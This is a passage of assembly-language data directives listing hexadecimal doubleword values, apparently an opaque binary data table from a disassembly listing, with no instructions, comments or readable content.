		dd 21189298h, 720D2355h, 60E0E9F4h, 0A7AC0515h,	5E8E79B8h
		dd 0B1863C84h, 28A6CFABh, 31111530h, 55308h, 0B2892A55h
		dd 0DE9916FAh, 253B4Ch,	9B72551h, 3B0DE340h, 351EDDD3h
		dd 0EBCB420Bh, 0A04118E5h, 4CD021F6h, 0CE02C338h, 0CF95613Ch
		dd 7EA4A49Ch, 62519140h, 0FC000E54h, 1ADA743Fh,	3A78D522h
		dd 813F4315h, 4B85B40Ch, 0CC01AD31h, 13EA328Eh,	189C17FCh
		dd 12F97021h, 0DE26CB82h, 31004DCCh, 0C4E0748Bh, 44D0922Ch
		dd 0A4030F24h, 0F26A57DCh, 9ABFB9FDh, 24311892h, 6108C4Ch
		dd 0F8210C85h, 33C1649h, 0FFD614EAh, 7F801888h,	58D43D39h
		dd 0A007ECC0h, 206A9C26h, 4E873A5Ah, 0CAFBA902h, 808492ACh
		dd 0AEE1D18h, 194F6B6h,	4924BAD1h, 0FCFD1C1Eh, 0AF122906h
		dd 84811D6h, 95C180A5h,	0F6C8ACBAh, 8B964C0Ah, 4D0BA272h
		dd 0CFFD8231h, 9F6868FAh, 0CC5888Dh, 0E9C430FCh, 932182FBh
		dd 332111CCh, 8AA1E180h, 84F30F1Eh, 0E5E97700h,	923F7085h
		dd 137473FCh, 42252482h, 2C175720h, 29E92720h, 93B200E7h
		dd 92A304ADh, 0F0C7D91Ah, 31C00548h, 13D7646Fh,	214CEBF6h
		dd 14A5FDBCh, 0F8649498h, 37C63D1Bh, 0F5E90580h, 3CDBFC43h
		dd 807D883Ch, 0A7AD273Fh, 0EC23AA2Bh, 0FEC91BB8h, 0C8FC99A6h
		dd 7E00160Ch, 0EB22BF05h, 0F43AFA2h, 6FE912B3h,	28A5DCC0h
		dd 6A055074h, 0A1BAABB0h, 0B68D4891h, 630FB210h, 36471311h
		dd 0B6F07855h, 0D5520ABAh, 84A87AA5h, 0D31215h,	62193909h
		dd 42A1865h, 0E8F214BCh, 0F8B7BD00h, 269A380Bh,	854D0Eh
		dd 223A1216h, 0B064DD78h, 0A7891078h, 3B211062h, 10F3220Ah
		dd 0A208F8CAh, 0B73818Fh, 418BA3C8h, 88AF46Ch, 28F612D8h
		dd 1A30709Dh, 133F6636h, 63840031h, 3D918D08h, 6F806D2h
		dd 41C00777h, 0A43A1618h, 0C32C5BC8h, 0FDB1A749h, 14C122F2h
		dd 323C21C3h, 10271354h, 0A8097820h, 5C601F2Ch,	0D0F0AB4h
		dd 2282BE9Ch, 5FC5D9EEh, 354934C4h, 9079145Ch, 0BA9B1A6Ch
		dd 0A41463B1h, 450B6C51h, 14216B37h, 48710C22h,	68303A94h
		dd 0EA2B6ACFh, 0F027489Eh, 0D58F1A88h, 6FFA2080h, 0A69FCECh
		dd 0B0C2C6B9h, 50A49194h, 7907CDF7h, 67FEE55Eh,	0E7391810h
		dd 0D7E002CCh, 3C244FE2h, 0C880F084h, 641FF164h, 97CA5FBDh
		dd 4E88E867h, 9180882Ch, 225EC480h, 189BD0Eh, 0F2F9E274h
		dd 3526866Fh, 5F840838h, 1B5D610Eh, 514D07BDh, 9018BB1h
		dd 44317097h, 41294218h, 2239F5DDh, 2DDF7440h, 7AE602BDh
		dd 3DE7B2FAh, 60478D61h, 0D5450224h, 400A023h, 89B9067Bh
		dd 0C8187FA9h, 14599652h, 0ADE0A81Dh, 6DD60730h, 70ECA995h
		dd 9818F7BCh, 0BA930A00h, 0FDB3AC9Eh, 7A4D072Dh, 62A5A123h
		dd 0DC4ACB99h, 14CF4841h, 0A02C6048h, 9BCCB2E4h, 60E90034h
		dd 8A94DCA2h, 0A505459h, 60B99C72h, 8E01F811h, 0B21C431Bh
		dd 9EB13EDEh, 22691048h, 72EFCDD5h, 901800E8h, 25BC602Dh
		dd 0EEEA00E9h, 5C4FC5A6h, 0DF12209Fh, 5067AD04h, 11887FB2h
		dd 1E2111D3h, 2D0FA510h, 8BC2561Fh, 0B8719E59h,	505CE6C6h
		dd 441A1CF4h, 8D014927h
		dd 0E5521EB5h, 5AE096B7h, 0CE4A0081h, 0AA9A59ABh, 992969B4h
		dd 0E8A99C34h, 80744C80h, 3EF55h, 843D6ED7h, 9CC2079Fh
		dd 7FDBD009h, 8568A501h, 0A88088h, 9B16197Ch, 5F9E0722h
		dd 1830B64Dh, 0B1598624h, 31D47475h, 9FC97CECh,	0EA07F2E9h
		dd 0C9831990h, 8D3A0ABBh, 8201E51h, 6D0036AFh, 9CDB9523h
		dd 0B150052h, 211089DFh, 0A405AC19h, 0EEC9EFD2h, 6C1550D1h
		dd 9EE024h, 0AC8927A3h,	75DADEFh, 50003D70h, 0F26E8DFEh
		dd 94F44321h, 12040E0h,	6206CE17h, 2D7770C6h, 4CC44C18h
		dd 7522DC43h, 248AC48h,	3CBBD86Eh, 0B330C12Eh, 25EC06DDh
		dd 8004947Eh, 2391C70Eh, 77007453h, 0A2AD1D54h,	5EEC34Bh
		dd 35AC1006h, 211491CEh, 29E45020h, 0D900A736h,	0E09D66F3h
		dd 1AB77967h, 90BCA956h, 0CD8DACC0h, 0AB3D5305h, 0D8C09F2Bh
		dd 54F227B3h, 5A58081h,	14FE1D72h, 802C0A54h, 1F7840DCh
		dd 0C0095325h, 10EC3A68h, 4A1CF370h, 7C1848D3h,	74083097h
		dd 48F597CFh, 0F680BBE0h, 89C57B9Eh, 0DC784DEDh, 0B0BD86Bh
		dd 0F88DE410h, 0AD1FA700h, 21147650h, 0C1ED0090h, 799A6F47h
		dd 541E59A3h, 925082Eh,	0D5F0996Ch, 771D5880h, 6DE1A228h
		dd 46B62F17h, 88B9BC0Ah, 0E942CB87h, 54D5E04Eh,	0B01E0256h
		dd 30161F30h, 30AC173Ch, 767FF6E0h, 0FC67B888h,	5CA40248h
		dd 0FF57092h, 719E0CE9h, 0D6544867h, 0F3597703h, 0E7B3A26Fh
		dd 97417Ch, 3DDDC374h, 0C673F1A8h, 0D758C57Ch, 1BA7C498h
		dd 0E1CD088h, 0BAA5F8A4h, 97098F1Fh, 0F078C547h, 0F9174EBFh
		dd 0FDC929C0h, 133191F3h, 8CD3AD66h, 3700B434h,	0C0686CB9h
		dd 2DCF69Bh, 14E3ABADh,	0E4A07328h, 63ACB8DDh, 22E81573h
		dd 0D08240A1h, 0D700516Eh, 1AA69E25h, 1846F0E6h, 0F90C3948h
		dd 2FE2DD8Ch, 846B2316h, 212A3420h, 0CC4C003Bh,	78EBD3EEh
		dd 7E26D1B0h, 9942C8F1h, 0ABB220BAh, 3A5CFD1Ch,	92A284DCh
		dd 6F048C20h, 0C4A7CF05h, 0E889F222h, 5493FF7h,	32142845h
		dd 68201830h, 406C14D8h, 74056FD2h, 587FBFE1h, 452D3381h
		dd 2E9CAD20h, 76689C8h,	193D290Dh, 36392CE8h, 4F02E175h
		dd 6D92EDEh, 32B08715h,	217464CFh, 131DE4B4h, 3982DCh
		dd 69938B86h, 57009D75h, 8FE42B83h, 27D6C233h, 337D72h
		dd 687A0DA2h, 4D002442h, 0EACC2F62h, 0A02650C7h, 6A4084EEh
		dd 96FEF41Ch, 5C032754h, 3900BC24h, 0C4831AFBh,	94368D8h
		dd 0E93123EFh, 5F1E2804h, 56F535C0h, 4873981Ah,	0A60918D3h
		dd 411863Ch, 2A47213h, 45920481h, 0F004C363h, 2732B815h
		dd 0F022A1B4h, 2225F84Eh, 0EC9EB4CCh, 0C06C9618h, 4A985F5Dh
		dd 8535A017h, 168F4860h, 0E78312F1h, 3F2B00B2h,	99137AB6h
		dd 151D349Eh, 0C0EA59B4h, 0C7C43E5h, 5F02A27Bh,	0D4A5A6F9h
		dd 6E7Fh, 0CFF31AE5h, 6F9AF05Fh, 0C6D93C05h, 2821D312h
		dd 5FC063F9h, 83FE038Ah, 409334EDh, 1684CE8Bh, 8D4E1004h
		dd 90A00012h, 19154606h, 684941C0h, 1C9D1A0h, 0B8B4543Fh
		dd 3DE5D955h, 21630A94h, 4680801Fh, 6B927081h, 9AD4E69Dh
		dd 60F09444h, 6524A67Ch, 9E1C03E4h, 0C15D73D4h,	2A5D3380h
		dd 64994452h, 40D1E975h, 0E9B1F21Ah, 0A4F04941h, 1E0E700Eh
		dd 9EEA7AE1h, 22402929h, 2A340025h, 0A12BE3BCh,	97171EB6h
		dd 78203FACh, 0F6196393h, 48B116FDh, 0EF42040h,	0F67DD98Ah
		dd 4EB9DD00h, 436031D7h, 20E101C9h, 6379AAB2h, 0D4F9AEAEh
		dd 5F53B31Ch, 19366C0Ch, 34BD5024h, 0CF18397Eh,	0AE035E02h
		dd 0B7025D99h, 0E0B8AAA1h, 0B8431BC5h, 80916305h, 3F758660h
		dd 5692FFD9h, 0F54042AEh, 4EECE2Eh, 42441200h, 0D45658C6h
		dd 0C2BB00F5h, 38F697A5h, 537DCF74h, 78A3B726h,	4DE3A960h
		dd 63230061h, 690BF540h, 15288E62h, 3892CB53h, 5AB78D44h
		dd 1624249Ah, 20F80BE8h, 94648816h, 0DD70FB31h,	2130CEF6h
		dd 0DF72926h, 4DAF0098h, 0D825E919h, 8287941h, 0BA49EB3Eh
		dd 0A5B713ACh, 0E28E6C88h, 1D0D1374h, 815CD022h, 7E00BDABh
		dd 5336DFDDh, 7D59BF9Fh, 40AC5AD5h, 0E7F99EE0h,	0F0274373h
		dd 680C2215h, 22632582h, 7C441354h, 0F7079D98h,	7B979DF2h
		dd 282A237h, 0C51EBh, 7E35613Ah, 9D981406h, 6A10A900h
		dd 4D2A366Fh, 19C7F1Bh,	7A1A8D65h, 3CD7DECFh, 3D12C4F4h
		dd 8F875CB2h, 0E84B7096h, 0DE006D29h, 7270026Ch, 0EAB1A543h
		dd 1BE32548h, 61E528A0h, 4D01A1DCh, 97B4AB5Dh, 0F2FA488Bh
		dd 98700124h, 3E3C5BC0h, 5C01D844h, 21875A32h, 4ACC421h
		dd 3705E403h, 98D88817h, 0B52891C0h, 0E653A1CEh, 4436009Dh
		dd 503AD996h, 5F02F255h, 3EF88301h, 4E80E48Dh, 930421CFh
		dd 0D0757037h, 0C8174001h, 6D90DB3Ch, 8052BC4Dh, 286CC531h
		dd 0A8BC44D8h, 1A8A960Eh, 7E902011h, 27EDA599h,	28A53C12h
		dd 0F5EC2316h, 180BD392h, 97BF51C4h, 0D416FBD0h, 0A828ADDBh
		dd 0A0360731h, 405BC781h, 0B82017E1h, 65ED8D07h, 62C07ACAh
		dd 67FA2FEh, 0CFF8E799h, 0CE00295Ah, 6A22DA1Fh,	0A04792E4h
		dd 0A442B7h, 7323D9B0h,	16BA7F38h, 1A3C3500h, 39E65E17h
		dd 7088F11Ch, 0F88451CEh, 29800DAEh, 75F9EC16h,	11C7001Fh
		dd 0AF8378F6h, 0D47FAC2Ah, 0EF445B0Ch, 0C3F24017h, 19028008h
		dd 0F9E11000h, 0B14745Ah, 588161C6h, 83162940h,	0CA1FC531h
		dd 0A982E8ADh, 79E10C84h, 2C28AE3Fh, 3D3740C3h,	35100450h
		dd 0C0D16472h, 539EDC28h, 0E7D0EF00h, 0C3DA717Fh, 1E2A307Ch
		dd 0DE5DBF59h, 6FC0D62Eh, 9B684000h, 3B2C6B90h,	91859F3Ah
		dd 43C58CEEh, 1D9C4F84h, 0D4C8B13Bh, 0B3003C80h, 0DF78C94Eh
		dd 6D8F42h, 31CA5C49h, 0CD8BEDAFh, 4F9C2454h, 412F9530h
		dd 7A80AA37h, 67943281h, 1E215650h, 74E01BF3h, 0C3B30378h
		dd 54E6C482h, 0B83E3831h, 0C1BEC529h, 0B9C9DA00h, 0E84E7C2Bh
		dd 724A3700h, 429BC283h, 82DF1986h, 1044B10Eh, 2A33F1h
		dd 0C6A5CCBDh, 0EA515F9Dh, 0E6BA2B01h, 34C82C06h, 2895F841h
		dd 0BB009449h, 0D7400Bh, 0AA5B8927h, 0A1ED5FA8h, 0E0840903h
		dd 2F908D9h, 3330AF0Ch,	1448502Bh, 0A341D131h, 1C2820E0h
		dd 581382EEh, 932F961h,	0F8215168h, 25B66C60h, 0B40A00BFh
		dd 0A8508CEBh, 0E2420DFEh, 480B3208h, 0E19A808Eh, 87E22079h
		dd 4B375980h, 62395B82h, 5035D905h, 0E4228132h,	3C49888h
		dd 32148653h, 22484AD1h, 0FCC800E3h, 14956431h,	3CA05DDDh
		dd 2553AA1Ch, 0B3FA00C8h, 4CFB7B1h, 0C160E739h,	3C710092h
		dd 0D3C83814h, 709284ECh, 9A259500h, 1144F8EAh,	0D03455A3h
		dd 544180F1h, 5B08336Fh, 365DDF01h, 502924F7h, 4F08A423h
		dd 75BA327Dh, 8DA1666Fh, 94F24861h, 6D4300B0h, 407B839Fh
		dd 9BE43102h, 82077D09h, 9F6C10C7h, 3CBB0084h, 397FEA3Fh
		dd 0EE0B41AAh, 80B63E22h, 95B5F70Eh, 0FC5A057Dh, 42A819C5h
		dd 6E4EA3BCh, 0B8A23C86h, 3C4D480Ch, 2C78967h, 0EDE4AC3Dh
		dd 1448F64Eh, 0C4350C38h, 88705453h, 51690CFh, 48D1FC69h
		dd 8ED180DEh, 2D4D5E20h, 2099C928h, 0E72C4E5Ch,	78C8505Eh
		dd 97E81861h, 4F305080h, 505889C0h, 12B0EBh, 9A7BA487h
		dd 21BD0EB1h, 4A0C95B8h, 0C94602A0h, 69B807C2h,	0B0E8ED09h
		dd 554F4401h, 0A9D43900h, 5AD0BF48h, 0A95C9A26h, 0B1105CB8h
		dd 60010557h, 0AD4F99ECh, 0A8349693h, 2044445h,	47696060h
		dd 0EC7589h, 2A459072h
		dd 67A784B3h, 9A63C106h, 1998BDC9h, 6147DA1Ch, 80F84830h
		dd 903F110Eh, 8FC55D36h, 0C420634Fh, 924EEF9Fh,	45BC902Ch
		dd 0C342E42Eh, 0F924BC03h, 80D8A28Bh, 49ADB422h, 4106542Ch
		dd 31346E4Fh, 20E83703h, 0A1858431h, 0FC50DB32h, 68235BB8h
		dd 0C09CD052h, 0E88DB6DEh, 0AC2A0728h, 0AA29DB00h, 58B4D6Eh
		dd 0B3A9152Fh, 0CA12DC30h, 4B140852h, 0F1118681h, 0B0E3E38Ah
		dd 62CDD291h, 4A3B6130h, 0A2646B00h, 0F5EE0072h, 600F3354h
		dd 0B00E5CF4h, 8292B8F6h, 76A4E49Ch, 286932B1h,	0AF00EC44h
		dd 77562D72h, 498A0615h, 9410BC8Fh, 96B58020h, 4884BCAAh
		dd 19609658h, 80E4FB2Fh, 0D4814500h, 0BCDCA82Ch, 0B5BB3CF5h
		dd 3C60CDB2h, 88186C89h, 0F829C738h, 8407F828h,	9AF00BD0h
		dd 8CFA8Dh, 48730403h, 0BD707681h, 19680C48h, 0B8311B6Eh
		dd 4559F892h, 403163F0h, 61FC0154h, 83135482h, 346048ADh
		dd 2E52108h, 33650C60h,	94644B6Eh, 80CC3248h, 22406DF4h
		dd 3D05B082h, 94D428A6h, 659D0047h, 0BC1AAE58h,	3A6BAD8Bh
		dd 443C0488h, 5DC69740h, 0EF03E002h, 87186466h,	93E9C18Eh
		dd 0BA35A8C7h, 0C9A40681h, 815078CBh, 0A1B73211h, 30989528h
		dd 3A115330h, 7C0086D3h, 2C849ABEh, 5BC22Bh, 0C0E40B24h
		dd 0EDC7D5C6h, 0CCCCA0D0h, 1E7363Dh, 0EF9D071Bh, 30E0DF3Ch
		dd 68D37857h, 8CAD1C08h, 96E1E229h, 0AE98204h, 3A86B5C9h
		dd 0CA5E0820h, 810B1C38h, 0D9DE0F36h, 0BCECB831h, 0FDB500A8h
		dd 2C5FB958h, 150B189Bh, 0B078E2C6h, 39DA959Ch,	0D12B3F7h
		dd 0E0C054BBh, 9B143422h, 60297Ah, 0D5139EAh, 3F241DECh
		dd 0A380C0A9h, 487B6D7Fh, 29C9159Ch, 38948BA2h,	0CBB67Ch
		dd 81B9E30Bh, 8F5177FEh, 0C47038F6h, 20063904h,	0D8840E79h
		dd 135A5098h, 0EBEDBDCDh, 0BCEB2304h, 0CE5EC890h, 91F8B954h
		dd 9590F47h, 514BE0C8h,	3C65529Bh, 5C586AE0h, 409429CAh
		dd 1B1EA399h, 664C2300h, 3F9FFE5Bh, 0AD951670h,	0DD5844BFh
		dd 978042C4h, 5A5084D7h, 0C5EB805Fh, 0BCFEFB05h, 7BEFF200h
		dd 39614E08h, 4AC024EDh, 5D4DC000h, 6200AB11h, 5919D1Dh
		dd 3308BFDFh, 0F4589FA2h, 971C280Dh, 0B0416153h, 1F15159Ah
		dd 0A0A42210h, 8262103Eh, 0B661793Ch, 710C801Fh, 5D0335A3h
		dd 80302084h, 7B59DA19h, 0D0C68500h, 8DE00614h,	816C994Fh
		dd 4A615CE2h, 0D9E5D467h, 0C56DA73Bh, 732CCC22h, 16CD010Fh
		dd 0F88D5D30h, 40C2642Dh, 0A309292Ch, 0C13603B0h, 0E9FA771Fh
		dd 4991F3F4h, 763B32h, 0EF162F49h, 2275E4Dh, 0B1A672E0h
		dd 98C43256h, 862E2CA6h, 0C840C83Dh, 739750B1h,	484177A9h
		dd 0EC3EE5F7h, 0C9EF4801h, 62A18C55h, 5E22D8h, 0E66E6D9Eh
		dd 75551201h, 0F2574300h, 9963429Ah, 38F40B5Ah,	0DC192714h
		dd 0B0301595h, 0E6B588E4h, 0D49F008Eh, 314C130Bh, 0F926ADDAh
		dd 8C60E075h, 4FB4190h,	4EAF6109h, 42208964h, 1C10AE2Ch
		dd 0A14A619Ch, 0A91B215Eh, 0A115841h, 957C2600h, 244983A3h
		dd 0DAB5C400h, 5F7D6331h, 38C8693Dh, 2C10DC8Bh,	8851B21Ch
		dd 161AF12Ch, 4F4D1E10h, 0CC89628Bh, 29547359h,	6507B430h
		dd 4A20E425h, 4CDA4Eh, 0F4292E1Eh, 1F7203C6h, 5C6030D6h
		dd 0A0244Ch, 0C2D67068h, 0FB18ECE0h, 0D4433Fh, 8216956Ch
		dd 0B25964Fh, 816BE967h, 0DE324C98h, 2496B878h,	4733DDC0h
		dd 5220002Dh, 31A6C87Bh, 0CB01539Ah, 0BFEB3C9Eh, 51124ECCh
		dd 3A80EC27h, 0FFF9A90h, 8B871F14h, 4FEA4041h, 1C7C4C9Ch
		dd 0F454A826h, 0E211C0A6h, 8030CE1Fh, 8B024491h, 0E491373Dh
		dd 3E34AB00h, 745CC9h, 8C4F9438h, 0F9C29E7Eh, 7D48814Ch
		dd 474588h, 0A98819EDh,	4807701Ah, 74A4BB19h, 37014DF9h
		dd 0AD54C8CAh, 6E431806h, 64215C05h, 405BD941h,	0FFDC621Bh
		dd 6144269Dh, 0B5900C5h, 658F339Bh, 9622BCB2h, 932345Ch
		dd 41F8D9D8h, 0D0A8F144h, 29C6287Dh, 58615DC8h,	7501C61Ah
		dd 63D8AFB7h, 80283904h, 0B83DCDDAh, 3E060022h,	0DD38918Dh
		dd 0A7012045h, 899EFE08h, 7C35C2A6h, 4D6920F2h,	8700EDC8h
		dd 0AE2AE044h, 271E69Eh, 0CBE9B3F4h, 8C44B1B6h,	0D4585C42h
		dd 9EA814C0h, 0A7002BF0h, 1D197131h, 3E1C01DAh,	6C022428h
		dd 0C288118Eh, 5810F842h, 85002E56h, 29F229Dh, 15ABED5h
		dd 0AA99F1BFh, 0F9960BC4h, 6F9C510Eh, 44D00862h, 1F492956h
		dd 4D081E08h, 0EE621D40h, 0F50EF8h, 0D7BEB516h,	8434FFA9h
		dd 3C325498h, 201439F3h, 0A5B9AFB0h, 809A867Ah,	2105A44h
		dd 0EE464CFDh, 0A4494782h, 7E241048h, 0DF2E09AAh, 60A76F77h
		dd 0DE7097B8h, 4A895BCFh, 9C0B28CAh, 5C415439h,	4000BCECh
		dd 0B7667301h, 80E73E0Bh, 9801C737h, 4828442Ch,	90294D07h
		dd 65765F80h, 700085B2h, 0CAA447D5h, 2ED5BC0h, 9DB507B7h
		dd 600999BBh, 4430FF7Ch, 3900434Fh, 66D9E760h, 1DB6AFD2h
		dd 49BE6B2Ah, 1441B71Fh, 0C5B83CFFh, 3CC8991Ch,	0F3CB2740h
		dd 14A2D419h, 52CEE4C1h, 77AC2980h, 38FAD7C3h, 41255A70h
		dd 2924A27Ah, 0B247202Dh, 7C2992E9h, 0AA3FACEEh, 5A00D010h
		dd 0D1BB660Fh, 0F857A6h, 0B3801D20h, 22ED3751h,	0AC549107h
		dd 0C8798825h, 704B24h,	81650A84h, 8C82332Ch, 69BDF907h
		dd 18BB171Dh, 249825B8h, 11685E85h, 0AA6F0023h,	75AF8CEEh
		dd 22050029h, 8A376558h, 60A08096h, 33FBAA1Ch, 72FA0748h
		dd 4FE6EAh, 0F35B7A62h,	0FC6627B1h, 0B53758A0h,	2716A0E3h
		dd 848C4976h, 6BDB00D3h, 8915A9F1h, 0CA7D675Bh,	1ECC3305h
		dd 2001505Ah, 8CBB7DE8h, 2462CBE9h, 25AD8302h, 687A5981h
		dd 74B7E200h, 20EB10EAh, 2E182623h, 0CF5E8B58h,	1C029410h
		dd 94F3F1C0h, 7994B09h,	3B46B78Ah, 53A1C190h, 84623Ch
		dd 3F81EEDFh, 0ED1B36h,	2C3B965Eh, 1C224CF9h, 8D67109Eh
		dd 0E0D69CF3h, 96E618Eh, 43B3BB95h, 0A3374418h,	0F39A2501h
		dd 0FE813452h, 3C500439h, 0FC428AF2h, 304A1052h, 28DEBC40h
		dd 493815h, 0B03F9DA5h,	9EE095D9h, 742C1A40h, 0DAF288E3h
		dd 0C78F3712h, 0B4C54820h, 4F770650h, 291BABB7h, 604B9612h
		dd 994DBC8Ch, 48AC11D0h, 3E302140h, 0AC518A74h,	68230212h
		dd 0EA22E097h, 6DEF0779h, 0C9CCB7CFh, 531C4C46h, 3480EAC6h
		dd 8DD136A3h, 0B1B21DD6h, 32A43B04h, 0BD97C1BCh, 30E05239h
		dd 10144887h, 119A554h,	4D23B302h, 49409551h, 1842424Ch
		dd 0A06727B4h, 0EAF385E6h, 73563E00h, 72AF63CDh, 97FC0037h
		dd 18F49506h, 22509A4Fh, 5344C874h, 0F11C6129h,	0C4EF3F28h
		dd 9F005AE9h, 0A1DBACD3h, 96B28241h, 3C3109ECh,	5BC6CC48h
		dd 0D0B08C2Eh, 5577AF67h, 0C2298840h, 0E8A80097h, 674DD8B4h
		dd 790B2005h, 0B080EE34h, 8A48DF3Ch, 121BA061h,	8B98C137h
		dd 49807469h, 22D0EF83h, 88C0634Ch, 2C38ECDEh, 0AFBEE12h
		dd 0FCCAACC7h, 8944E069h, 5A618815h, 0C1C28DB0h, 53A8D488h
		dd 9285Ch, 2A7BD20Dh, 8FA1496Fh, 0AD254B07h, 0F5504706h
		dd 0CC857ED0h, 0C5D03E40h, 0E0208089h, 3F0A543h, 68C2AFCBh
		dd 0CEA74D88h, 456A5B01h, 4B944F04h, 873D7842h,	0E7608424h
		dd 4A118BC1h, 0A95858B2h, 492D132h, 0B360B094h,	399A6A39h
		dd 0AA1F2515h, 1D098202h, 78706220h, 4900FF83h,	0BE654513h
		dd 52D23DD6h, 40209815h, 6440C84Ah, 15B8AACFh, 272225A6h
		dd 0C2A8580Ah, 6C2BC40Bh
		dd 725B4460h, 0CA8DA307h, 6E10882Fh, 3DB9F344h,	29A4AE7Dh
		dd 0FC90ADB4h, 0E50A8671h, 8887E68Eh, 0AF414944h, 0D0DA7536h
		dd 601773ABh, 0C492BB11h, 0B732222Dh, 21C45CCCh, 288C4995h
		dd 94F894CEh, 80003C29h, 0DADBA11h, 59D01EDEh, 0E2007CE4h
		dd 0D4D16F3Ch, 0B1419C52h, 4C321448h, 6F5B2100h, 0C5D36879h
		dd 0F4FB3805h, 0CC89329Fh, 1C4903D0h, 3BBF8Dh, 6D072E44h
		dd 7C02F10Fh, 6EDF5A88h, 44A4E49Fh, 0F0000F47h,	778EDC0Bh
		dd 310C72A3h, 965135F8h, 0D3784131h, 7DC51766h,	475EF0B3h
		dd 8808E7D4h, 0C912F39Eh, 891078DCh, 9F6DC0D6h,	600A9F8h
		dd 0A6732E6Bh, 4D15093h, 0C84C529h, 0CD90CC46h,	0B21C09C5h
		dd 4830D0B5h, 0DAE18B15h, 2AAC334Ah, 2958CCCDh,	859480CCh
		dd 0E41F16Eh, 52445E8Bh, 17058D81h, 0F01C45DEh,	0F417121Ch
		dd 0E87050E9h, 0BBCACF1h, 0C047E3Eh, 4441DC05h,	0B4E41C50h
		dd 0AC91300Ch, 0F073B301h, 0F8286111h, 0C2E06DB0h, 3365CA00h
		dd 4082B036h, 0D0973BA2h, 4015AC92h, 4F53C10Ch,	89C04729h
		dd 12D316BFh, 7CDB00B8h, 62ED1955h, 0F004682Ah,	88CD9654h
		dd 0A2A53340h, 4F124076h, 984B5EC7h, 0E82C48FFh, 788D27DAh
		dd 0C7A085h, 8253BF60h,	0B4070B08h, 0FC0F0389h,	1888C784h
		dd 7A8573F3h, 14B002C0h, 0C2C5A707h, 0D48C9805h, 80D05832h
		dd 0F22F9AC4h, 0BA998674h, 3E200588h, 0C82A7F58h, 11F2488h
		dd 4481F52Eh, 0CE8F3F8Eh, 3DAFF048h, 2D002920h,	39B80997h
		dd 0DE078B99h, 5A45DAEBh, 0B8C82114h, 0AA37003Eh, 1CEBED9h
		dd 0F8EA83C2h, 0C14F48h, 9C62814Ch, 797E07h, 3520955Ah
		dd 8FCF024h, 15C0FF5Ah,	2CFA6D91h, 0E0BF30Ah, 676B812Ah
		dd 95C0D818h, 5600A9EAh, 0EBA47E46h, 694F2817h,	6B098140h
		dd 2C254068h, 188125h, 0AF221280h, 0E150CA77h, 3C850B58h
		dd 0D9BC9C10h, 2B85100h, 62ADC340h, 683207E8h, 3F9FCCh
		dd 4B135EDFh, 40334507h, 0F4706718h, 0B9A11BDh,	624FE18Eh
		dd 30F37810h, 0F5595260h, 0CAF2E2h, 343986DAh, 0ECDD1EC0h
		dd 15D8C901h, 0E4D2553Ch, 2809F1E0h, 45E08B20h,	0EC2331h
		dd 0B6C8938h, 3A422AADh, 740B0897h, 0E8988B0Ah,	0D400A988h
		dd 38BFD750h, 94D9331h,	971C6DBBh, 9F120864h, 0ECD0C54Ah
		dd 4416E6h, 205B1346h, 9F6C8232h, 0E80248F8h, 2E065499h
		dd 1D4F90Eh, 57F6F7A6h,	0D2B1F42Ch, 82766F3Ch, 2345DDA4h
		dd 788C8A0Dh, 20799A09h, 0B4EDCA38h, 4CE0F73Fh,	884F1689h
		dd 678C323Eh, 1697EB20h, 0CDAB1FAAh, 0A02938h, 0AEF6DFD9h
		dd 4D009A7Dh, 0C6EEB9FFh, 1AB51D8h, 2BA7A299h, 6567BD50h
		dd 160C3098h, 2829C889h, 636DFB00h, 0E337F51Bh,	27BD1009h
		dd 44C05216h, 0B55C325Dh, 0A8988240h, 81E0F916h, 742F9681h
		dd 0EE06929h, 80179530h, 0A3032BFEh, 99612CF0h,	908A0098h
		dd 4B4D9DF3h, 9172105h,	0D0DC1A46h, 0E9DA00C9h,	0AA9D6A52h
		dd 9C028025h, 3F5D048Ah, 0B45846D0h, 88306564h,	0AF00B250h
		dd 88A6A108h, 909ED73h,	7DEE9C63h, 5B25B020h, 812DCBE4h
		dd 20965C32h, 34894488h, 3706F403h, 0A7F3CA94h,	4D22F830h
		dd 4512FE6Eh, 330860AEh, 0CA366806h, 928E8E2h, 0EA85D303h
		dd 4C846480h, 9B9515AAh, 0E4D0E348h, 0C24E74D3h, 69B4F250h
		dd 0E004F9E3h, 0A9285834h, 0B899C416h, 772080BCh, 0ED04DE5Eh
		dd 8F8BE471h, 2A817CBCh, 335A4A38h, 0C7E4C1E8h,	0A420C005h
		dd 90B129h, 0A1B89C84h,	0C8E245C9h, 0AF771502h,	66326F4Eh
		dd 4F664494h, 0A86C9095h, 2F431AB4h, 6000500Fh,	629C81AEh
		dd 0B4505928h, 981C8802h, 815DBC16h, 35B64A8h, 4C649831h
		dd 60D98AC6h, 0A5699800h, 0AAFE14h, 0C9B7A449h,	509620FAh
		dd 0E81D8174h, 0BF40C795h, 5C66DFFEh, 0BA5601A3h, 9447B538h
		dd 60A6C882h, 91583B17h, 0E3791487h, 4F38126Ch,	0ADC00787h
		dd 0B2547024h, 4A295695h, 401FC85Fh, 89112C24h,	90BC6450h
		dd 5A20009Eh, 9DB5A5AEh, 2D00F4B6h, 7EBFABF3h, 74B89886h
		dd 377D7828h, 0C0088407h, 0D656C6F6h, 0C89DA200h, 0FF2A1A73h
		dd 0C01D0CBCh, 293145B6h, 49CE9600h, 0B5249AEFh, 8350C73Dh
		dd 1A13F86Eh, 80CF9300h, 0DF0C317Bh, 0A71F4070h, 794D9C2Dh
		dd 99FBE83Fh, 8838722Eh, 94765987h, 0E69290FCh,	0FE1C621Dh
		dd 5F40A201h, 7D044E65h, 0D42E3086h, 7B903C51h,	80C03E00h
		dd 0EC29AC9Fh, 0C6020017h, 0D1B073CAh, 22069ABDh, 96760599h
		dd 0CF2E30F9h, 0DD7BB041h, 0E858F800h, 483D0876h, 0F3F780Fh
		dd 0FA4C77DCh, 78685446h, 41C65030h, 26E9CB06h,	27A9E7h
		dd 6D970DA5h, 81010AA4h, 0D0EF112Ch, 0A850880Bh, 311C80AAh
		dd 6511872Eh, 5749807Fh, 510A24B5h, 0F12D14D4h,	509FCCC9h
		dd 8E768892h, 53000345h, 77AB7427h, 80F9FB2Dh, 75F26E5h
		dd 0A86761E8h, 86DC0276h, 7323D4E1h, 97B1841h, 5FA619C0h
		dd 14A015F0h, 0FD07031Fh, 0E4575182h, 3B3491C0h, 7C44B8B3h
		dd 1741C433h, 11BA49D1h, 0E2605C1Ch, 628C00DCh,	0E2E9AF50h
		dd 0AD2BD43Eh, 3F007899h, 0DD93A226h, 0E5F400DEh, 528A7D9Eh
		dd 8902879Fh, 0C4D1A118h, 93652375h, 0D5F93900h, 0D106B3A0h
